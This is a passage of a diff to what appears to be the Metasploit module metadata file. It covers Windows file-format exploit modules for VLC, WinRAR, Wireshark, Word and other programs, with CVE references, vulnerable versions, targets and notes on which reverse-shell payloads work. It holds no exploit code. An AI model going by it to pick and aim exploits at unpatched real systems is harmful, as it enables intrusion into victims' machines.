"Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159781,9 +163530,7 @@ "exploit_windows/fileformat/vlc_mkv": { "name": "VLC Media Player MKV Use After Free", "fullname": "exploit/windows/fileformat/vlc_mkv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-05-24", "type": "exploit", @@ -159791,7 +163538,7 @@ "Eugene Ng - GovTech", "Winston Ho - GovTech" ], - "description": "This module exploits a use after free vulnerability in\n VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of\n MKV files and affects both 32 bits and 64 bits.\n\n In order to exploit this, this module will generate two files:\n The first .mkv file contains the main vulnerability and heap spray,\n the second .mkv file is required in order to take the vulnerable code\n path and should be placed under the same directory as the .mkv file.\n\n This module has been tested against VLC v2.2.8. Tested with payloads\n windows/exec, windows/x64/exec, windows/shell/reverse_tcp,\n windows/x64/shell/reverse_tcp. Meterpreter payloads if used can\n cause the application to crash instead.", + "description": "This module exploits a use after free vulnerability in\n VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of\n MKV files and affects both 32 bits and 64 bits.\n\n In order to exploit this, this module will generate two files:\n The first .mkv file contains the main vulnerability and heap spray,\n the second .mkv file is required in order to take the vulnerable code\n path and should be placed under the same directory as the .mkv file.\n\n This module has been tested against VLC v2.2.8. Tested with payloads\n windows/exec, windows/x64/exec, windows/shell/reverse_tcp,\n windows/x64/shell/reverse_tcp. Meterpreter payloads if used can\n cause the application to crash instead.", "references": [ "CVE-2018-11529", "EDB-44979" @@ -159799,17 +163546,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 2.2.8 on Windows 10 x86", "VLC 2.2.8 on Windows 10 x64" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vlc_mkv.rb", "is_install_path": true, "ref_name": "windows/fileformat/vlc_mkv", @@ -159817,6 +163560,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159824,16 +163576,14 @@ "exploit_windows/fileformat/vlc_modplug_s3m": { "name": "VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/vlc_modplug_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-04-07", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits an input validation error in libmod_plugin as\n included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9\n are affected. By creating a malicious S3M file, a remote attacker\n could execute arbitrary code.\n\n Although other products that bundle libmodplug may be vulnerable, this\n module was only tested against VLC.\n\n NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to\n permanently enable NX support on machines that support it. As such,\n this module is capable of bypassing DEP, but not ASLR.", + "description": "This module exploits an input validation error in libmod_plugin as\n included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9\n are affected. By creating a malicious S3M file, a remote attacker\n could execute arbitrary code.\n\n Although other products that bundle libmodplug may be vulnerable, this\n module was only tested against VLC.\n\n NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to\n permanently enable NX support on machines that support it. As such,\n this module is capable of bypassing DEP, but not ASLR.", "references": [ "CVE-2011-1574", "OSVDB-72143", @@ -159843,16 +163593,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 1.1.8 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb", "is_install_path": true, "ref_name": "windows/fileformat/vlc_modplug_s3m", @@ -159860,6 +163606,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159867,9 +163622,7 @@ "exploit_windows/fileformat/vlc_realtext": { "name": "VLC Media Player RealText Subtitle Overflow", "fullname": "exploit/windows/fileformat/vlc_realtext", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-11-05", "type": "exploit", @@ -159878,7 +163631,7 @@ "SkD", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow vulnerability in\n VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of\n RealText subtitle files.\n\n In order to exploit this, this module will generate two files:\n The .mp4 file is used to trick your victim into running. The .rt file\n is the actual malicious file that triggers the vulnerability, which\n should be placed under the same directory as the .mp4 file.", + "description": "This module exploits a stack buffer overflow vulnerability in\n VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of\n RealText subtitle files.\n\n In order to exploit this, this module will generate two files:\n The .mp4 file is used to trick your victim into running. The .rt file\n is the actual malicious file that triggers the vulnerability, which\n should be placed under the same directory as the .mp4 file.", "references": [ "OSVDB-49809", "CVE-2008-5036", @@ -159889,16 +163642,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vlc_realtext.rb", "is_install_path": true, "ref_name": "windows/fileformat/vlc_realtext", @@ -159906,6 +163655,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159913,16 +163671,14 @@ "exploit_windows/fileformat/vlc_smb_uri": { "name": "VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow", "fullname": "exploit/windows/fileformat/vlc_smb_uri", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-24", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack-based buffer overflow in the Win32AddConnection\n function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are\n reportedly affected.\n\n This vulnerability is only present in Win32 builds of VLC.\n\n This payload was found to work with the windows/exec and\n windows/meterpreter/reverse_tcp payloads. However, the\n windows/meterpreter/reverse_ord_tcp was found not to work.", + "description": "This module exploits a stack-based buffer overflow in the Win32AddConnection\n function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are\n reportedly affected.\n\n This vulnerability is only present in Win32 builds of VLC.\n\n This payload was found to work with the windows/exec and\n windows/meterpreter/reverse_tcp payloads. However, the\n windows/meterpreter/reverse_ord_tcp was found not to work.", "references": [ "BID-35500", "OSVDB-55509", @@ -159933,16 +163689,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "vlc 0.9.9 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vlc_smb_uri.rb", "is_install_path": true, "ref_name": "windows/fileformat/vlc_smb_uri", @@ -159950,6 +163702,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159957,16 +163718,14 @@ "exploit_windows/fileformat/vlc_webm": { "name": "VideoLAN VLC MKV Memory Corruption", "fullname": "exploit/windows/fileformat/vlc_webm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-31", "type": "exploit", "author": [ "Dan Rosenberg" ], - "description": "This module exploits an input validation error in VideoLAN VLC\n < 1.1.7. By creating a malicious MKV or WebM file, a remote attacker\n could execute arbitrary code.\n\n NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to\n permanently enable NX support on machines that support it.", + "description": "This module exploits an input validation error in VideoLAN VLC\n < 1.1.7. By creating a malicious MKV or WebM file, a remote attacker\n could execute arbitrary code.\n\n NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to\n permanently enable NX support on machines that support it.", "references": [ "OSVDB-70698", "CVE-2011-0531", @@ -159977,16 +163736,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VLC 1.1.6 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vlc_webm.rb", "is_install_path": true, "ref_name": "windows/fileformat/vlc_webm", @@ -159994,6 +163749,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160001,16 +163765,14 @@ "exploit_windows/fileformat/vuplayer_cue": { "name": "VUPlayer CUE Buffer Overflow", "fullname": "exploit/windows/fileformat/vuplayer_cue", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack based overflow in VUPlayer <= 2.49. When\n the application is used to open a specially crafted cue file, a buffer is overwritten allowing\n for the execution of arbitrary code.", + "description": "This module exploits a stack based overflow in VUPlayer <= 2.49. When\n the application is used to open a specially crafted cue file, a buffer is overwritten allowing\n for the execution of arbitrary code.", "references": [ "OSVDB-64581", "BID-33960" @@ -160018,16 +163780,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VUPlayer 2.49" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vuplayer_cue.rb", "is_install_path": true, "ref_name": "windows/fileformat/vuplayer_cue", @@ -160035,6 +163793,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160042,9 +163809,7 @@ "exploit_windows/fileformat/vuplayer_m3u": { "name": "VUPlayer M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/vuplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-18", "type": "exploit", @@ -160059,16 +163824,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VUPlayer 2.49" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/vuplayer_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/vuplayer_m3u", @@ -160076,6 +163837,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160083,9 +163853,7 @@ "exploit_windows/fileformat/watermark_master": { "name": "Watermark Master Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/watermark_master", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-01", "type": "exploit", @@ -160102,17 +163870,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x32 - Watermark Master 2.2.23", "Windows 7 x64 - Watermark Master 2.2.23" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/fileformat/watermark_master.rb", "is_install_path": true, "ref_name": "windows/fileformat/watermark_master", @@ -160120,15 +163884,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -160136,9 +163894,7 @@ "exploit_windows/fileformat/winamp_maki_bof": { "name": "Winamp MAKI Buffer Overflow", "fullname": "exploit/windows/fileformat/winamp_maki_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-20", "type": "exploit", @@ -160146,7 +163902,7 @@ "Monica Sojeong Hong", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow in Winamp 5.55. The flaw\n exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,\n where memmove is used in an insecure way with user controlled data.\n\n To exploit the vulnerability the attacker must convince the victim to install the\n generated mcvcore.maki file in the \"scripts\" directory of the default \"Bento\" skin,\n or generate a new skin using the crafted mcvcore.maki file. The module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack based buffer overflow in Winamp 5.55. The flaw\n exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,\n where memmove is used in an insecure way with user controlled data.\n\n To exploit the vulnerability the attacker must convince the victim to install the\n generated mcvcore.maki file in the \"scripts\" directory of the default \"Bento\" skin,\n or generate a new skin using the crafted mcvcore.maki file. The module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2009-1831", "OSVDB-54902", @@ -160160,16 +163916,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.55 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/winamp_maki_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/winamp_maki_bof", @@ -160177,6 +163929,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160184,9 +163945,7 @@ "exploit_windows/fileformat/winrar_ace": { "name": "RARLAB WinRAR ACE Format Input Validation Remote Code Execution", "fullname": "exploit/windows/fileformat/winrar_ace", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-05", "type": "exploit", @@ -160194,7 +163953,7 @@ "Nadav Grossman", "Imran E. Dawoodjee " ], - "description": "In WinRAR versions prior to and including 5.61, there is path traversal vulnerability\n when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename\n field is manipulated with specific patterns, the destination (extraction) folder is\n ignored, thus treating the filename as an absolute path. This module will attempt to\n extract a payload to the startup folder of the current user. It is limited such that\n we can only go back one folder. Therefore, for this exploit to work properly, the user\n must extract the supplied RAR file from one folder within the user profile folder\n (e.g. Desktop or Downloads). User restart is required to gain a shell.", + "description": "In WinRAR versions prior to and including 5.61, there is path traversal vulnerability\n when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename\n field is manipulated with specific patterns, the destination (extraction) folder is\n ignored, thus treating the filename as an absolute path. This module will attempt to\n extract a payload to the startup folder of the current user. It is limited such that\n we can only go back one folder. Therefore, for this exploit to work properly, the user\n must extract the supplied RAR file from one folder within the user profile folder\n (e.g. Desktop or Downloads). User restart is required to gain a shell.", "references": [ "CVE-2018-20250", "EDB-46552", @@ -160206,16 +163965,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RARLAB WinRAR <= 5.61" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/winrar_ace.rb", "is_install_path": true, "ref_name": "windows/fileformat/winrar_ace", @@ -160223,6 +163978,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160230,9 +163994,7 @@ "exploit_windows/fileformat/winrar_cve_2023_38831": { "name": "WinRAR CVE-2023-38831 Exploit", "fullname": "exploit/windows/fileformat/winrar_cve_2023_38831", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-23", "type": "exploit", @@ -160248,12 +164010,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -160282,9 +164040,7 @@ "exploit_windows/fileformat/winrar_name_spoofing": { "name": "WinRAR Filename Spoofing", "fullname": "exploit/windows/fileformat/winrar_name_spoofing", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-28", "type": "exploit", @@ -160292,7 +164048,7 @@ "chr1x", "juan vazquez " ], - "description": "This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists\n when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from\n the central directory, but the file names used to extract and open contents come from the\n Local File Header. This inconsistency allows to spoof file names when opening ZIP files\n with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in\n March 2014", + "description": "This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists\n when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from\n the central directory, but the file names used to extract and open contents come from the\n Local File Header. This inconsistency allows to spoof file names when opening ZIP files\n with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in\n March 2014", "references": [ "OSVDB-62610", "BID-66383", @@ -160302,16 +164058,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/winrar_name_spoofing.rb", "is_install_path": true, "ref_name": "windows/fileformat/winrar_name_spoofing", @@ -160319,6 +164071,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160326,9 +164087,7 @@ "exploit_windows/fileformat/wireshark_mpeg_overflow": { "name": "Wireshark wiretap/mpeg.c Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/wireshark_mpeg_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-03-20", "type": "exploit", @@ -160346,17 +164105,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinXP SP3 Spanish (bypass DEP)", "WinXP SP2/SP3 English (bypass DEP)" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb", "is_install_path": true, "ref_name": "windows/fileformat/wireshark_mpeg_overflow", @@ -160364,6 +164119,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160371,9 +164135,7 @@ "exploit_windows/fileformat/wireshark_packet_dect": { "name": "Wireshark packet-dect.c Stack Buffer Overflow (local)", "fullname": "exploit/windows/fileformat/wireshark_packet_dect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-18", "type": "exploit", @@ -160382,7 +164144,7 @@ "sickness", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in Wireshark <= 1.4.4\n When opening a malicious .pcap file in Wireshark, a stack buffer occurs,\n resulting in arbitrary code execution.\n\n Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap(\"file\")).", + "description": "This module exploits a stack buffer overflow in Wireshark <= 1.4.4\n When opening a malicious .pcap file in Wireshark, a stack buffer occurs,\n resulting in arbitrary code execution.\n\n Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap(\"file\")).", "references": [ "CVE-2011-1591", "OSVDB-71848", @@ -160393,16 +164155,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win32 Universal (Generic DEP & ASLR Bypass)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/wireshark_packet_dect.rb", "is_install_path": true, "ref_name": "windows/fileformat/wireshark_packet_dect", @@ -160410,6 +164168,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160417,9 +164184,7 @@ "exploit_windows/fileformat/wm_downloader_m3u": { "name": "WM Downloader 3.1.2.2 Buffer Overflow", "fullname": "exploit/windows/fileformat/wm_downloader_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-28", "type": "exploit", @@ -160427,7 +164192,7 @@ "fdisk", "dookie" ], - "description": "This module exploits a buffer overflow in WM Downloader v3.1.2.2. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in WM Downloader v3.1.2.2. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", "references": [ "OSVDB-66911", "EDB-14497" @@ -160435,16 +164200,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/wm_downloader_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/wm_downloader_m3u", @@ -160452,6 +164213,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160459,9 +164229,7 @@ "exploit_windows/fileformat/word_msdtjs_rce": { "name": "Microsoft Office Word MSDTJS", "fullname": "exploit/windows/fileformat/word_msdtjs_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-29", "type": "exploit", @@ -160483,12 +164251,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word" ], @@ -160520,9 +164284,7 @@ "exploit_windows/fileformat/word_mshtml_rce": { "name": "Microsoft Office Word Malicious MSHTML RCE", "fullname": "exploit/windows/fileformat/word_mshtml_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-23", "type": "exploit", @@ -160544,12 +164306,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Hosted" ], @@ -160578,9 +164336,7 @@ "exploit_windows/fileformat/xenorate_xpl_bof": { "name": "Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/xenorate_xpl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-19", "type": "exploit", @@ -160590,7 +164346,7 @@ "loneferret", "jduck " ], - "description": "This module exploits a stack buffer overflow in Xenorate 2.50\n by creating a specially crafted xpl file.", + "description": "This module exploits a stack buffer overflow in Xenorate 2.50\n by creating a specially crafted xpl file.", "references": [ "OSVDB-57162", "EDB-10371" @@ -160598,16 +164354,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 / SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/xenorate_xpl_bof", @@ -160615,6 +164367,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160622,9 +164383,7 @@ "exploit_windows/fileformat/xion_m3u_sehbof": { "name": "Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/xion_m3u_sehbof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-23", "type": "exploit", @@ -160635,7 +164394,7 @@ "jduck ", "m_101" ], - "description": "This module exploits a stack buffer overflow in Xion Audio Player prior to version\n 1.0.126. The vulnerability is triggered when opening a malformed M3U file that\n contains an overly long string. This results in overwriting a\n structured exception handler record.", + "description": "This module exploits a stack buffer overflow in Xion Audio Player prior to version\n 1.0.126. The vulnerability is triggered when opening a malformed M3U file that\n contains an overly long string. This results in overwriting a\n structured exception handler record.", "references": [ "OSVDB-66912", "EDB-14517", @@ -160645,16 +164404,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Xion Audio Player v1.0.126 XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb", "is_install_path": true, "ref_name": "windows/fileformat/xion_m3u_sehbof", @@ -160662,6 +164417,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160669,16 +164433,14 @@ "exploit_windows/fileformat/xradio_xrl_sehbof": { "name": "xRadio 0.95b Buffer Overflow", "fullname": "exploit/windows/fileformat/xradio_xrl_sehbof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-08", "type": "exploit", "author": [ "b0telh0 " ], - "description": "This module exploits a buffer overflow in xRadio 0.95b.\n Using the application to import a specially crafted xrl file,\n a buffer overflow occurs allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in xRadio 0.95b.\n Using the application to import a specially crafted xrl file,\n a buffer overflow occurs allowing arbitrary code execution.", "references": [ "CVE-2008-2789", "BID-46290", @@ -160687,16 +164449,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb", "is_install_path": true, "ref_name": "windows/fileformat/xradio_xrl_sehbof", @@ -160704,6 +164462,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160711,9 +164478,7 @@ "exploit_windows/fileformat/zahir_enterprise_plus_csv": { "name": "Zahir Enterprise Plus 6 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/zahir_enterprise_plus_csv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-28", "type": "exploit", @@ -160721,7 +164486,7 @@ "f3ci", "modpr0be" ], - "description": "This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.\n The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters\n via Import from other File. This results in overwriting a structured exception handler record.", + "description": "This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.\n The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters\n via Import from other File. This results in overwriting a structured exception handler record.", "references": [ "CVE-2018-17408", "EDB-45505" @@ -160729,16 +164494,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Zahir Enterprise Plus 6 <= build 10b" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/zahir_enterprise_plus_csv.rb", 